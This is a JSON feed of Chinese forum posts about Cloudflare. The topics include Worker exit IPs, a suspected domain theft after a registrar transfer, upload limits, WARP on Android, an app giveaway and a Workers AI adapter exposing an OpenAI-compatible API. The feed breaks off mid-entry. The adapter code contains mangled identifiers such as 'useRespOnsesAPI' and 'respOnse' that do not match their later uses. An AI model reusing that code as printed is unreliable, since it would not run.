{ "version": "https://jsonfeed.org/version/1", "title": "Cloudflare", "description": "Cloudflare \u63d0\u4f9b\u5168\u7403 CDN \u548c Anti-DDoS \u670d\u52a1\u3002", "home_page_url": "go/cloudflare", "feed_url": "feed/cloudflare.json", "icon": "https://cdn.v2ex.com/navatar/58c5/4802/1049_large.png?m=1633342159", "favicon": "https://cdn.v2ex.com/navatar/58c5/4802/1049_normal.png?m=1633342159", "items": [ { "author": { "url": "member/pc10201", "name": "pc10201", "avatar": "https://cdn.v2ex.com/avatar/07bf/e497/41279_large.png?m=1761100385" }, "url": "t/1207713", "date_modified": "2026-04-23T03:35:32+00:00", "content_html": "

cloudflare worker \u9ed8\u8ba4\u662f\u6839\u636e\u5ba2\u6237\u7aef ip \u6765\u8c03\u5ea6\u7684\uff0c\u51fa\u53e3 ip \u4e00\u822c\u4e5f\u662f\u9760\u8fd1\u5ba2\u6237\u7aef\u7684

\n

\u4f46 worker \u811a\u672c\u4e2d\u53ef\u80fd\u8981\u8bbf\u95ee\u7684\u7f51\u7ad9\u6709\u5730\u57df\u9650\u5236\uff0c\u6bd4\u5982\u8981\u8bbf\u95ee\u65e5\u672c\uff0c\u4f46\u5ba2\u6237\u7aef\u662f\u5fb7\u56fd

\n

\u8fd9\u79cd\u600e\u4e48\u5904\u7406\uff1f

\n", "date_published": "2026-04-22T04:58:49+00:00", "title": "cloudflare worker \u80fd\u6307\u5b9a\u51fa\u53e3 ip \u7684\u56fd\u5bb6\u5417\uff1f", "id": "t/1207713" }, { "author": { "url": "member/hbtech", "name": "hbtech", "avatar": "https://cdn.v2ex.com/avatar/41fa/125b/224022_large.png?m=1770855006" }, "url": "t/1206470", "title": "Cloudflare \u652f\u6301\u4f7f\u7528\u81ea\u5b9a\u4e49\u57df\u540d\u53d1\u90ae\u4ef6\u4e86", "id": "t/1206470", "date_published": "2026-04-16T17:25:35+00:00", "content_html": "Cloudflare Email Service: now in public beta. Ready for your agents
https://blog.cloudflare.com/email-for-agents/" }, { "author": { "url": "member/graycreate", "name": "graycreate", "avatar": "https://cdn.v2ex.com/avatar/c6f7/ffa0/161290_large.png?m=1760151772" }, "url": "t/1206435", "title": "[\u9001\u7801]\u505a\u4e86\u4e2a Cloudflare \u76d1\u63a7 App - FlareKit\uff0c\u9001\u70b9\u5151\u6362\u7801", "id": "t/1206435", "date_published": "2026-04-16T13:06:45+00:00", "content_html": "

\u5982\u9898\uff0c \u4e3b\u8981\u529f\u80fd\u5982\u4e0b:

\n\n

\"\"

\n

AppStore \u5730\u5740: https://apps.apple.com/us/app/flarekit/id6757950534

\n

\u5151\u6362\u7801

\n

\u8001\u89c4\u77e9\uff0c\u5151\u8fc7\u7684\u53ef\u4ee5\u56de\u4e2a\u5e16\u8bf4\u4e00\u58f0\uff0c\u4e5f\u7b97\u5e2e\u6211\u9876\u4e00\u4e0b \ud83d\ude4f

\n
AMFPA7PRLA83X4M3HY\nHNXNHNY7THLH6J37FX\nN8ET4J7HTHJKHNJA8Y\nLA3MK46J3HKYFFMTKH\n8WXTP8W3A8HWWPMFKA\nFK6KREPJF4PLPN66TX\n8KERLWENMKNHYTMT7K\nFL3F4HAWLTHATHLP44\nJXXFNJHP37KFAR36A3\nL7MFFNFK7EA7ALJW4N\n
\n" }, { "author": { "url": "member/Parksi", "name": "Parksi", "avatar": "https://cdn.v2ex.com/gravatar/8fbffec9f77e7e6d1f7bc897b750578f?s=73&d=retro" }, "url": "t/1205381", "date_modified": "2026-04-14T07:57:36+00:00", "content_html": "

\u9996\u5148\u8bf4\u4e00\u4e0b\u57df\u540d\u7684\u76f8\u5173\u4fe1\u606f\uff0c6b.nz\n\u9996\u5148\u4e8e 2026 \u5e74 1 \u6708 19 \u65e5\u5728 https://porkbun.com/ \u6ce8\u518c\uff0c\n\u968f\u540e\u4e8e 2026 \u5e74 3 \u6708 20 \u65e5 \u8f6c\u5165 Cloudflare Registrar \uff0c\n\u7136\u540e\u4e8e 4 \u6708 12 \u65e5\u6536\u5230 cloudflare \u7684\u90ae\u4ef6\uff0c\u8bf4 \u201c6b.nz \u5df2\u505c\u6b62\u4f7f\u7528 Cloudflare \u7684 \u540d\u79f0\u670d\u52a1\u5668\uff0c\u4e0d\u518d\u53d7\u76ca\u4e8e\u6211\u4eec\u7684 \u7f51\u7edc\u201d\uff0c\u4f17\u6240\u5468\u77e5\u8f6c\u79fb\u5230 Cloudflare Registrar \u7684\u57df\u540d\u662f\u6ca1\u6709\u529e\u6cd5\u81ea\u4e3b\u4fee\u6539 DNS \u63d0\u4f9b\u5546\u7684\uff0c\u9ed8\u8ba4\u90fd\u662f\u6307\u5411 cloudflare \uff0c\u4e8e\u662f\u6211\u5728 .nz \u7684\u6743\u5a01 whois \u67e5\u8be2\u5230\u6700\u65b0\u7684\u8bb0\u5f55\uff0c\u57df\u540d\u6ce8\u518c\u5546\u5df2\u7ecf\u88ab\u53d8\u66f4\uff08 https://dnc.org.nz/whois/whois-lookup/?domain_name=6b.nz#Form_show \uff09

\n

\u65b0\u7684\u6ce8\u518c\u5546\u4fe1\u606f\uff08\u6743\u5a01 whois \u4fe1\u606f\uff0c\u66f4\u65b0\u4e8e 4 \u6708 4 \u65e5\uff09\uff1a

\n
Registrar contact\nRegistrar Name\tKey-Systems GmbH\nRegistrar Website\thttps://www.key-systems.net\n
\n

cloudflare \u63d0\u4f9b\u7684 whois \u4fe1\u606f\uff1a

\n
Registrar Registration Expiration Date: 2027-01-19T04:36:30Z\nRegistrar: Cloudflare, Inc.\nRegistrar IANA ID: 1910\nRegistrar Abuse Contact Email: registrar-abuse@cloudflare.com\nRegistrar Abuse Contact Phone: +1-650-319-8936\u202c\n
\n

\u53ef\u4ee5\u5206\u6790\u57df\u540d\u5df2\u7ecf\u88ab\u8f6c\u79fb\u51fa\u53bb\uff0c\u6211\u5df2\u4e8e 4 \u6708 12 \u65e5\u5206\u522b\u5411\u8f6c\u51fa\u65b9\uff08 cloudflare \uff09\u548c\u8f6c\u5165\u65b9\uff08 Key-Systems GmbH \uff09\u53d1\u90ae\u4ef6\uff0c\u76ee\u524d\u90fd\u6ca1\u6709\u5f97\u5230\u56de\u590d

\n

\u5176\u4e2d\u6211\u6ca1\u6709\u4ece cloudflare \u6536\u5230\u4efb\u4f55\u5173\u4e8e\u57df\u540d\uff08\u6ce8\u518c\u5546\uff09\u8f6c\u51fa\u7684\u90ae\u4ef6

\n

\u76ee\u524d\u8be5\u57df\u540d A \u8bb0\u5f55\u6307\u5411 94.23.162.163 \uff0c\u65e0\u6cd5\u76f4\u63a5\u901a\u8fc7\u57df\u540d\u8bbf\u95ee\uff0c\u8bbf\u95ee\u8be5 IP \u53ef\u77e5\u8be5\u57df\u540d\u5e94\u8be5\u5728 Key-Systems GmbH \u5904\u4e8e\u6682\u505c\u72b6\u6001

\n

\u8bf7\u5927\u5bb6\u8f6c\u79fb\u8fc7\u57df\u540d\u7684\u4e00\u5b9a\u8981\u68c0\u67e5\u57df\u540d\u8f6c\u79fb\u9501\u662f\u5426\u5173\u95ed\uff01\uff01

\n

\u53e6\uff1a\u53d1\u73b0\u88ab\u8f6c\u51fa\u540e\uff0ccloudflare \u7684\u8f6c\u79fb\u5230\u5176\u4ed6\u6ce8\u518c\u673a\u6784\u7684\u8f6c\u79fb\u7801\u9501\u65e0\u6cd5\u9501\u5b9a

\n", "date_published": "2026-04-13T01:08:52+00:00", "title": "\u8f6c\u79fb\u5230 Cloudflare Registrar \u7684\u57df\u540d\u7591\u4f3c\u88ab\u76d7", "id": "t/1205381" }, { "author": { "url": "member/OwO233", "name": "OwO233", "avatar": "https://cdn.v2ex.com/avatar/818a/b403/502639_large.png?m=1760049485" }, "url": "t/1203608", "date_modified": "2026-04-06T08:36:34+00:00", "content_html": "

\u6211\u60f3\u8981\u7528 openlist \u6765\u4e0a\u4f20\u548c\u4e0b\u8f7d\u6211\u4e91\u76d8\u91cc\u7684\u4e00\u4e9b\u4e1c\u897f\uff0c\u4f46\u662f cloudflare \u9650\u5236\u5ba2\u6237\u7aef\u4e0a\u4f20\u5927\u5c0f\u6700\u591a\u4e3a 100M \uff0copenlist \u6ca1\u6709\u5207\u7247\u4e0a\u4f20\u8fd9\u79cd\u529f\u80fd\u3002\u6211\u539f\u5148\u8bbe\u60f3\u53bb cf \u8bbe\u7f6e\u7f13\u5b58\u89c4\u5219\uff0c\u8ba9\u4e0a\u4f20\u4e0d\u8d70 cf \u7684\u7f13\u5b58\uff0c\u53ef\u662f\u8fd8\u662f\u6ca1\u7528\uff0c\u8bf7\u95ee\u6709\u4ec0\u4e48\u5176\u4ed6\u89e3\u51b3\u65b9\u6848\u5417\uff1f\u6211\u9700\u8981\u8ba9 openlist \u8d70\u57df\u540d\u4e14\u4e0d\u80fd\u5173\u95ed CDN \u3002

\n", "date_published": "2026-04-05T02:00:17+00:00", "title": "\u4e3a\u4ec0\u4e48\u5df2\u7ecf\u628a cloudflare \u4e0a\u7684 Cache Rules \u8bbe\u7f6e\u4e3a\u7ed5\u8fc7\u7f13\u5b58\uff0c\u8fd8\u662f\u4f1a\u88ab\u9650\u5236\u4e0a\u4f20\u5927\u5c0f\uff1f", "id": "t/1203608" }, { "author": { "url": "member/bxb100", "name": "bxb100", "avatar": "https://cdn.v2ex.com/avatar/5f39/34ee/80678_large.png?m=1774171047" }, "url": "t/1200168", "title": "vibe \u4e86\u4e00\u4e2a gotify/server \u7684 cloudflare worker \u7248\u672c", "id": "t/1200168", "date_published": "2026-03-22T09:19:10+00:00", "content_html": "

https://github.com/bxb100/gotify-server-worker

\n

\u6709\u5174\u8da3\u7684\u540c\u5b66\u53ef\u4ee5\u73a9\u4e00\u73a9, \u54c8\u54c8\u54c8

\n" }, { "author": { "url": "member/drealism", "name": "drealism", "avatar": "https://cdn.v2ex.com/avatar/2da6/22f5/538286_large.png?m=1774500973" }, "url": "t/1199779", "date_modified": "2026-03-20T04:45:55+00:00", "content_html": "

\u6211(\u5b50)\u57df\u540d\u5168\u89e3\u6790\u5230\u5185\u7f51 172.30 \u6bb5\u7684\uff0c\u914d\u642d caddy \u505a tls \uff0c\u4eca\u5929\u7a81\u7136\u5168\u90e8\u88ab\u62e6\u622a\u4e86\u3002

\n
\n

The registrar services for this domain havebeen suspended by Cloudflare for a Terms ofService violation.

\n
\n

\u5927\u4f6c\u4eec\u77e5\u9053\u6709\u5565\u529e\u6cd5\u6062\u590d\u4e48\ud83d\ude25, \u7f51\u7ad9\u4e0a\u8fde\u4e2a\u5ba2\u6237\u901a\u9053\u90fd\u6ca1

\n", "date_published": "2026-03-20T04:44:53+00:00", "title": "\u6c42\u52a9: cf \u4e0a\u9762\u7684\u57df\u540d\u88ab\u5c01\u4e86", "id": "t/1199779" }, { "author": { "url": "member/zhusheng8701", "name": "zhusheng8701", "avatar": "https://cdn.v2ex.com/gravatar/6fd17c6de703212491517b489b165b60?s=73&d=retro" }, "url": "t/1190065", "date_modified": "2026-02-02T03:38:04+00:00", "content_html": "

\u56e0\u6cd5\u5f8b\u539f\u56e0\u6682\u4e0d\u53ef\u7528\n\u600e\u4e48\u64cd\u4f5c\uff0c\u6709\u5176\u4ed6 CDN \u5382\u5546\u5417\uff1f\u53ef\u5c0f\u91cf\u6536\u8d39

\n

\u4ec5\u90e8\u5206\u9875\u9762\uff0c\u5982 test.php?id=xxx \u88ab\u5c4f\u853d\uff0c\u4f46 page.php?id=xxx \u6ca1\u88ab\u5c4f\u853d

\n", "date_published": "2026-02-02T03:33:07+00:00", "title": "\u88ab CF \u62e6\u622a\u4e86\u90e8\u5206\u9875\u9762\uff0c Error 451 \u9519\u8bef", "id": "t/1190065" }, { "author": { "url": "member/LANCDN", "name": "LANCDN", "avatar": "https://cdn.v2ex.com/gravatar/4b3211410aba9272eab7e82af10248e1?s=73&d=retro" }, "url": "t/1189139", "title": "CF \u7684 ai \u53cd\u722c robots.txt \u4f3c\u4e4e\u90e8\u5206\u60c5\u51b5\u4e0b\u8ddf Pages \u673a\u5236\u51b2\u7a81\uff1f", "id": "t/1189139", "date_published": "2026-01-28T14:48:30+00:00", "content_html": "

\u89e6\u53d1\u6761\u4ef6

\n\n

\u73b0\u8c61

\n\n
# As a condition of accessing this website, you agree to abide by the following\n# content signals:\n\n...\n\n# BEGIN Cloudflare Managed content\n\nUser-agent: *\nContent-Signal: search=yes,ai-train=no\nAllow: /\n\n...\n\n# END Cloudflare Managed Content\n\n<!DOCTYPE html>\n<html lang=\"zh\">\n\t...\n</html>\n
\n" }, { "author": { "url": "member/UnluckyNinja", "name": "UnluckyNinja", "avatar": "https://cdn.v2ex.com/avatar/f838/653d/25761_large.png?m=1749754460" }, "url": "t/1186541", "date_modified": "2026-01-20T00:53:32+00:00", "content_html": "Astro \u7684\u516c\u544a
https://astro.build/blog/joining-cloudflare/

Cloudflare \u7684\u516c\u544a
https://blog.cloudflare.com/astro-joins-cloudflare/", "date_published": "2026-01-18T03:17:23+00:00", "title": "Cloudflare \u6536\u8d2d\u4e86 Astro", "id": "t/1186541" }, { "author": { "url": "member/liyafe1997", "name": "liyafe1997", "avatar": "https://cdn.v2ex.com/avatar/524e/7d08/32249_large.png?m=1764082065" }, "url": "t/1184375", "date_modified": "2026-01-09T20:24:40+00:00", "content_html": "

\u8bd5\u4e86\u79fb\u52a8\u8054\u901a\u7535\u4fe1\u4e09\u5bb6\u7684\u7f51\u7edc\uff0c\u90fd\u662f\u4e00\u6837\u7684\u7ed3\u679c\uff0cWindows \u548c Linux \u7684\u5ba2\u6237\u7aef\u80fd\u76f4\u8fde\uff08\u5747\u66f4\u65b0\u5230\u6700\u65b0\u7248\u5ba2\u6237\u7aef\uff0c\u9ed8\u8ba4\u8bbe\u7f6e\uff0c\u6ca1\u505a\u4efb\u4f55\u7279\u6b8a\u914d\u7f6e\uff09\uff0c\u800c\u4e14\u79d2\u8fde\uff0c\u8fde\u4e0a\u4e4b\u540e\u867d\u7136\u901f\u5ea6\u4e00\u822c\uff08\u5927\u7ea6\u4e0d\u5230 1MB/s \u5de6\u53f3\u7684\u901f\u7387\uff1f\uff09\uff0c\u4f46\u662f\u5f88\u7a33\u5b9a\uff0c\u6ca1\u6709\u65ad\u6d41\u5361\u987f\u8fc7\uff0c\u770b Youtube 2k60 \u89c6\u9891\u4e5f\u5f88\u6d41\u7545\u6ca1\u95ee\u9898\u3002

\n

\u4f46\u662f\u5728\u5b89\u5353\u624b\u673a\u4e0a\uff0c\u8bd5\u4e86\u591a\u90e8\u624b\u673a+\u4e09\u5bb6\u7684\u7f51\u7edc\uff0c\u6ca1\u6709\u4e00\u4e2a\u80fd\u8fde\u4e0a\u3002\u5728\u8bbe\u7f6e\u91cc\u9762\u6539\u534f\u8bae\u65e0\u8bba\u8bbe\u7f6e WireGuard \u8fd8\u662f masque \u90fd\u8fde\u4e0d\u4e0a\u3002

\n

\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u96be\u9053\u5b89\u5353\u548c Windows/Linux \u5ba2\u6237\u7aef\u8fde\u63a5\u7684\u670d\u52a1\u5668\u4e0d\u540c\u8fd8\u662f\u534f\u8bae\u4e0d\u540c\uff1f

\n", "date_published": "2026-01-09T20:24:25+00:00", "title": "\u6700\u8fd1\u53d1\u73b0 CF WARP \u5728 Win & Linux \u4e0a\u56fd\u5185\u80fd\u76f4\u8fde\uff0c\u5b89\u5353\u4e0d\u884c", "id": "t/1184375" }, { "author": { "url": "member/CSGO", "name": "CSGO", "avatar": "https://cdn.v2ex.com/avatar/ef71/2edc/315449_large.png?m=1757663072" }, "url": "t/1183205", "date_modified": "2026-01-06T00:50:55+00:00", "content_html": "https://radar.cloudflare.com/zh-cn/year-in-review/2025#internet-services

\u9876\u90e8\u53ef\u4ee5\u5207\u6362\u5730\u533a\uff0c\u8fd9\u4e2a\u662f\u4e2d\u56fd\u5927\u9646\u7684\uff0c\u6bd4\u5982\u91cc\u9762\u6709\u4e2a\u641c\u7d22\u5f15\u64ce\uff0c\u552f\u72ec macos \u7cfb\u7edf\u4e0b\uff0cGoogle \u80fd\u591f\u8d85\u8fc7 baidu \u3002
https://radar.cloudflare.com/zh-cn/year-in-review/2025/cn", "date_published": "2026-01-05T05:37:45+00:00", "title": "Cloudflare Radar\u300a2025 \u5e74\u5ea6\u56de\u987e\u300b\uff0c\u633a\u6709\u610f\u601d", "id": "t/1183205" }, { "author": { "url": "member/cfer", "name": "cfer", "avatar": "https://cdn.v2ex.com/avatar/7709/0162/722526_large.png?m=1775200050" }, "url": "t/1180851", "date_modified": "2025-12-25T23:29:12+00:00", "content_html": "

\u6211\u4f7f\u7528 workers + worker Ai \u6784\u5efa\u4e86\u4e00\u4e2a\u517c\u5bb9 openai \u63a5\u53e3\u7684\u9002\u914d\u5668\u3002\u4f46\u662f\u53ea\u662f\u5b9e\u73b0\u4e86\u57fa\u672c\u529f\u80fd\uff0c\u73b0\u5728\u9700\u8981\u5b8c\u5584\u5de5\u5177\u8c03\u7528\u529f\u80fd\u3002\u6709\u5927\u4f6c\u80fd\u5e2e\u6211\u5b8c\u5584\u5b83\u561b\uff1f

\n
export default {\n async fetch(request, env, ctx) {\n // \u5904\u7406 CORS \u9884\u68c0\u8bf7\u6c42\n if (request.method === 'OPTIONS') {\n return new Response(null, {\n status: 200,\n headers: {\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',\n 'Access-Control-Allow-Headers': 'Content-Type, Authorization',\n 'Access-Control-Max-Age': '86400',\n },\n });\n }\n\n // \u9a8c\u8bc1 API Key\n const authHeader = request.headers.get('Authorization');\n if (!authHeader || !authHeader.startsWith('Bearer ')) {\n return new Response(JSON.stringify({\n error: { message: 'API key required', type: 'invalid_request_error', code: 'invalid_api_key' }\n }), { status: 401, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n\n const apiKey = authHeader.substring(7);\n const validApiKeys = env.VALID_API_KEYS ? env.VALID_API_KEYS.split(',') : ['your-api-key-here'];\n if (!validApiKeys.includes(apiKey)) {\n return new Response(JSON.stringify({\n error: { message: 'Invalid API key', type: 'invalid_request_error', code: 'invalid_api_key' }\n }), { status: 401, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n\n const url = new URL(request.url);\n\n // \u6a21\u578b\u6620\u5c04\n const modelMap = {\n 'deepseek-r1': '@cf/deepseek-ai/deepseek-r1-distill-qwen-32b',\n 'gpt-oss-120b': '@cf/openai/gpt-oss-120b',\n 'gpt-oss-20b': '@cf/openai/gpt-oss-20b',\n 'llama-4-scout': '@cf/meta/llama-4-scout-17b-16e-instruct',\n 'qwen32b': '@cf/qwen/qwq-32b',\n 'gemma-3': '@cf/google/gemma-3-12b-it',\n 'qwen3-embedding-0.6b': '@cf/qwen/qwen3-embedding-0.6b'\n };\n\n // \u804a\u5929\u63a5\u53e3\n if (url.pathname === '/v1/chat/completions' && request.method === 'POST') {\n try {\n const body = await request.json();\n if (!body.messages || !Array.isArray(body.messages)) {\n return new Response(JSON.stringify({\n error: { message: 'Messages must be an array', type: 'invalid_request_error', code: 'invalid_parameter' }\n }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n\n const model = body.model || 'deepseek-r1';\n const cfModel = modelMap[model];\n if (!cfModel) {\n return new Response(JSON.stringify({\n error: { message: `Model '${model}' not supported`, type: 'invalid_request_error', code: 'model_not_found' }\n }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n\n // \u6784\u9020 AI \u8bf7\u6c42\u53c2\u6570\n let aiRequest = {};\n let useRespOnsesAPI= cfModel.startsWith('@cf/openai/gpt-oss');\n\n if (useResponsesAPI) {\n // Responses API \u683c\u5f0f\n const systemMsg = body.messages.find(m => m.role === 'system')?.content || \"You are a helpful assistant.\";\n const userMsgs = body.messages.filter(m => m.role === 'user').map(m => m.content).join(\"\\n\");\n\n aiRequest = {\n input: userMsgs,\n instructions: systemMsg,\n temperature: body.temperature ?? 0.7,\n top_p: body.top_p ?? 0.9,\n max_tokens: body.max_tokens ?? 2048,\n reasoning: body.reasoning ?? { effort: \"medium\" }\n };\n } else {\n // \u65e7\u6a21\u578b\uff1a\u62fc\u63a5 prompt\n let prompt = '';\n for (const message of body.messages) {\n if (message.role === 'system') prompt += `System: ${message.content}\\n\\n`;\n if (message.role === 'user') prompt += `User: ${message.content}\\n\\n`;\n if (message.role === 'assistant') prompt += `Assistant: ${message.content}\\n\\n`;\n }\n prompt += 'Assistant: ';\n\n aiRequest = {\n prompt,\n temperature: body.temperature ?? 0.7,\n top_p: body.top_p ?? 0.9,\n max_tokens: body.max_tokens ?? 4096,\n };\n }\n\n // \u8c03\u7528 Cloudflare AI\n const respOnse= await env.AI.run(cfModel, aiRequest);\n\n const completiOnId= 'chatcmpl-' + Math.random().toString(36).substring(2, 15);\n const timestamp = Math.floor(Date.now() / 1000);\n\n // \u83b7\u53d6\u6700\u7ec8\u56de\u7b54\u5185\u5bb9\n let assistantCOntent= \"\";\n if (useResponsesAPI) {\n if (response.output && Array.isArray(response.output)) {\n assistantCOntent= response.output\n .flatMap(msg => msg.content\n .filter(c => c.type === \"output_text\")\n .map(c => c.text)\n )\n .join(\"\\n\");\n }\n } else {\n assistantCOntent= response.response ?? \"\";\n }\n \n\n // \u6d41\u5f0f\u8f93\u51fa\n if (body.stream) {\n const encoder = new TextEncoder();\n const stream = new ReadableStream({\n start(controller) {\n // \u5f00\u59cb\u4e8b\u4ef6\n controller.enqueue(encoder.encode(`data: ${JSON.stringify({\n id: completionId,\n object: 'chat.completion.chunk',\n created: timestamp,\n model,\n choices: [{ index: 0, delta: { role: 'assistant', content: \"\" }, finish_reason: null }]\n })}\\n\\n`));\n\n // \u6a21\u62df\u9010\u5757\u8f93\u51fa\n const chunkSize = 20;\n for (let i = 0; i < assistantContent.length; i += chunkSize) {\n const chunk = assistantContent.slice(i, i + chunkSize);\n controller.enqueue(encoder.encode(`data: ${JSON.stringify({\n id: completionId,\n object: 'chat.completion.chunk',\n created: timestamp,\n model,\n choices: [{ index: 0, delta: { content: chunk }, finish_reason: null }]\n })}\\n\\n`));\n }\n\n // \u7ed3\u675f\u4e8b\u4ef6\n controller.enqueue(encoder.encode(`data: ${JSON.stringify({\n id: completionId,\n object: 'chat.completion.chunk',\n created: timestamp,\n model,\n choices: [{ index: 0, delta: {}, finish_reason: 'stop' }]\n })}\\n\\n`));\n controller.enqueue(encoder.encode('data: [DONE]\\n\\n'));\n controller.close();\n }\n });\n return new Response(stream, {\n headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', 'Connection': 'keep-alive', 'Access-Control-Allow-Origin': '*' },\n });\n }\n\n // \u975e\u6d41\u5f0f\u8f93\u51fa\n const chatCompletion = {\n id: completionId,\n object: 'chat.completion',\n created: timestamp,\n model,\n choices: [{ index: 0, message: { role: 'assistant', content: assistantContent }, finish_reason: 'stop' }],\n usage: {\n prompt_tokens: Math.ceil(JSON.stringify(body.messages).length / 4),\n completion_tokens: Math.ceil(assistantContent.length / 4),\n total_tokens: Math.ceil((JSON.stringify(body.messages).length + assistantContent.length) / 4)\n }\n };\n return new Response(JSON.stringify(chatCompletion), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n\n } catch (error) {\n console.error('Error:', error);\n return new Response(JSON.stringify({\n error: { message: 'Internal server error', type: 'server_error', code: 'internal_error' }\n }), { status: 500, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n }\n // \u5d4c\u5165\u6a21\u578b\n if (url.pathname === '/v1/embeddings' && request.method === 'POST') {\n try {\n const body = await request.json();\n if (!body.input) {\n return new Response(JSON.stringify({\n error: { message: 'Input is required', type: 'invalid_request_error', code: 'invalid_parameter' }\n }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n \n const model = body.model;\n const cfModel = modelMap[model];\n if (!cfModel) {\n return new Response(JSON.stringify({\n error: { message: `Model '${model}' not supported`, type: 'invalid_request_error', code: 'model_not_found' }\n }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n \n // \u8c03\u7528 AI \u83b7\u53d6 embedding\n let embeddingResponse;\n\n // Responses API \u5047\u8bbe\u652f\u6301 embedding\n embeddingRespOnse= await env.AI.run(cfModel, {\n text: body.input\n });\n \n // \u6784\u9020\u8fd4\u56de\n const embedding = embeddingResponse.embedding || [0]; // \u5982\u679c\u8fd4\u56de\u683c\u5f0f\u4e0d\u540c\uff0c\u9700\u8981\u6839\u636e\u5b9e\u9645\u7ed3\u679c\u8c03\u6574\n return new Response(JSON.stringify(embeddingResponse), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n \n } catch (error) {\n console.error('Embedding error:', error);\n return new Response(JSON.stringify({\n error: { message: 'Internal server error', type: 'server_error', code: 'internal_error' }\n }), { status: 500, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n }\n\n // \u6a21\u578b\u5217\u8868\n if (url.pathname === '/v1/models' && request.method === 'GET') {\n const models = Object.keys(modelMap).map(id => ({\n id,\n object: 'model',\n created: Math.floor(Date.now() / 1000),\n owned_by: 'cloudflare',\n permission: [{ id: 'modelperm-' + id, object: 'model_permission', created: Math.floor(Date.now() / 1000), allow_create_engine: false, allow_sampling: true, allow_logprobs: false, allow_search_indices: false, allow_view: true, allow_fine_tuning: false, organization: '*', group: null, is_blocking: false }]\n }));\n return new Response(JSON.stringify({ object: 'list', data: models }), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n\n // \u5065\u5eb7\u68c0\u67e5\n if (url.pathname === '/health' && request.method === 'GET') {\n return new Response(JSON.stringify({ status: 'healthy', timestamp: new Date().toISOString(), models: Object.keys(modelMap) }), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n }\n\n // 404\n return new Response(JSON.stringify({\n error: { message: 'Not found', type: 'invalid_request_error', code: 'not_found' }\n }), { status: 404, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n },\n};\n
\n", "date_published": "2025-12-24T02:56:23+00:00", "title": "\u767d\u5ad6 worker AI \u7684\u8fdb", "id": "t/1180851" }, { "author": { "url": "member/rosebush373", "name": "rosebush373", "avatar": "https://cdn.v2ex.com/gravatar/b085f045d8dc7ecf659191d1b6a2356a?s=73&d=retro" }, "url": "t/1180011", "date_modified": "2025-12-20T02:53:51+00:00", "content_html": "\u57df\u540d\u6ca1\u6709\u5173\u8054\u4efb\u4f55\u7f51\u7ad9", "date_published": "2025-12-19T07:25:51+00:00", "title": "\u521a\u6ce8\u518c\u7684\u65b0\u57df\u540d\u653e\u5230\u4e86 cloudflare \u4e00\u5468\u540e\u53d1\u73b0\u8bbf\u95ee\u91cf\u9010\u6e10\u589e\u52a0\uff0c\u662f\u722c\u866b\u5417", "id": "t/1180011" }, { "author": { "url": "member/sdqdaq", "name": "sdqdaq", "avatar": "https://cdn.v2ex.com/avatar/e3d2/3b25/60114_large.png?m=1732847489" }, "url": "t/1179130", "title": "\u5386\u65f6 20 \u591a\u5929\uff0c Cloudflare \u5f04\u4e22\u7684\u6570\u636e\u627e\u56de\u6765\u4e86", "id": "t/1179130", "date_published": "2025-12-16T01:08:32+00:00", "content_html": "

\u6211\u4eec\u7684\u4e00\u4e2a\u5c0f\u9879\u76ee\uff0c\u7528\u4e86 cloudflare \u7684\u4e00\u7cfb\u5217\u670d\u52a1\uff0c\u5176\u4e2d\u6570\u636e\u5b58\u50a8\u5728 Cloudflare D1 \u6570\u636e\u5e93\u3002

\n

2025 \u5e74 11 \u6708 25 \u65e5\uff0c\u7a81\u7136\u65e0\u8bba\u600e\u4e48\u6837\u90fd\u65e0\u6cd5\u8bbf\u95ee\u8fd9\u4e2a\u6570\u636e\u5e93\uff1a

\n

{ \"errors\": [ { \"code\": 7500, \"message\": \"internal error; reference = e_PVSMDp_20e3b898d5734270a0f3c8dce1640a\" } ], \"success\": false, \"messages\": [], \"result\": null }

\n

2025 \u5e74 11 \u6708 29 \u65e5\uff0c\u6536\u5230\u7b2c\u4e00\u6761\u6709\u4ef7\u503c\u7684\u90ae\u4ef6\u56de\u590d\uff1a

\n

I just wanted to let you know that we've raised this issue with our engineering team, and need to put this ticket on temporary hold until we have more info for you.\nRest assured we are currently working on your issue and will get back to you as soon as we have something to update.

\n

2025 \u5e74 12 \u6708 16 \u65e5\uff0c\u6062\u590d\u6b63\u5e38\ud83d\ude02\u3002

\n" }, { "author": { "url": "member/malagebidi", "name": "malagebidi", "avatar": "https://cdn.v2ex.com/avatar/7f84/1df2/78963_large.png?m=1770792064" }, "url": "t/1178273", "title": "cloudflare worker \u76f4\u8fde\u8bbf\u95ee\u592a\u6162\u4e86\uff0c\u6c42\u4e2a\u66ff\u4ee3", "id": "t/1178273", "date_published": "2025-12-11T06:44:55+00:00", "content_html": "\u7528\u4e86\u4e00\u5468\u624d\u53d1\u73b0 workers.dev \u57df\u540d\u662f\u88ab\u5899\u7684\uff0c\u7f51\u7ad9\uff08 React + React Router \uff09\u7ed1\u4e86\u81ea\u5b9a\u4e49\u57df\u540d\u540e\u76f4\u8fde\u901f\u5ea6\u4e5f\u4e0d\u592a\u597d\u3001\u591c\u95f4\u66f4\u662f\u7206\u70b8\u3002" }, { "author": { "url": "member/wojiugaiming", "name": "wojiugaiming", "avatar": "https://cdn.v2ex.com/gravatar/fc712acd097d3a078d96616904a1ab46?s=73&d=retro" }, "url": "t/1177442", "title": 